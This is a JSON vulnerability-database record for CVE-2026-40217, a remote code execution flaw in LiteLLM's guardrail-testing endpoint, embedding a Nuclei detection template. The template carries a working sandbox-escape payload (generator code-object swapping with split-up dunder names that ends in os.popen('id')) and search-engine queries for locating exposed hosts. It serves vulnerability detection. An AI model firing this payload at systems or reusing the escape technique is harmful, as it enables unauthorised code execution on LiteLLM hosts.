{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-40217/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-40217/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-40217/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-40217/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-40217/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-40217"},"sightings":{"href":"/api/v1/sightings/cve-2026-40217"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-40217.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-40217\n\ninfo:\n  name: LiteLLM < 1.25.0 - Remote Code Execution\n  author: ritikchaddha\n  severity: high\n  description: |\n    LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.\n  impact: |\n    An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.\n  remediation: |\n    Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.\n  reference:\n    - https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/\n    - https://github.com/BerriAI/litellm\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40217\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 8.7\n    cve-id: CVE-2026-40217\n    epss-score: 0.1702\n    epss-percentile: 0.97087\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:439373620\n    fofa-query: title=\"LiteLLM\"\n  tags: cve,cve2026,litellm,guardrail,rce,intrusive,vkev\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/guardrails/test_custom_code\"\n\n    headers:\n      Authorization: Bearer {{api_key}}\n      Content-Type: application/json\n      Accept: application/json\n\n    body: |\n      {\n        \"custom_code\": \"def apply_guardrail(inputs, request_data, input_type):\\n    obj = str.mro()[1]\\n    def g(fn):\\n        yield fn.placeholder\\n    c = g(None).gi_code\\n    gn = \\\"_\\\"+\\\"_gl\\\"+\\\"ob\\\"+\\\"als\\\"+\\\"_\\\"+\\\"_\\\"\\n    cn = \\\"_\\\"+\\\"_co\\\"+\\\"de_\\\"+\\\"_\\\"\\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\\n    for v in g(http_get):\\n        gd = v\\n        break\\n    bn = \\\"_\\\"+\\\"_bu\\\"+\\\"ilt\\\"+\\\"ins\\\"+\\\"_\\\"+\\\"_\\\"\\n    imp = gd[bn][\\\"_\\\"+\\\"_im\\\"+\\\"po\\\"+\\\"rt_\\\"+\\\"_\\\"]\\n    return {\\\"rce\\\": imp(\\\"os\\\").popen(\\\"id\\\").read()}\",\n        \"test_input\": {\n          \"messages\": [\n            {\n              \"role\": \"user\",\n              \"content\": \"test\"\n            }\n          ]\n        }\n      }\n\n    skip-variables-check: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"rce\\\":\", \"success\\\":true\")'\n          - 'regex(\"uid=[0-9]+.*gid=[0-9]+.*\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100c370ba6a55c78435ac8e39d280d02293eda3109d81553698f1d0cfca91e3570902201ae6ee8f75450f71e3803ae3c9072c2b847512966060792fa1b6bdce6aef5509:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-40217"}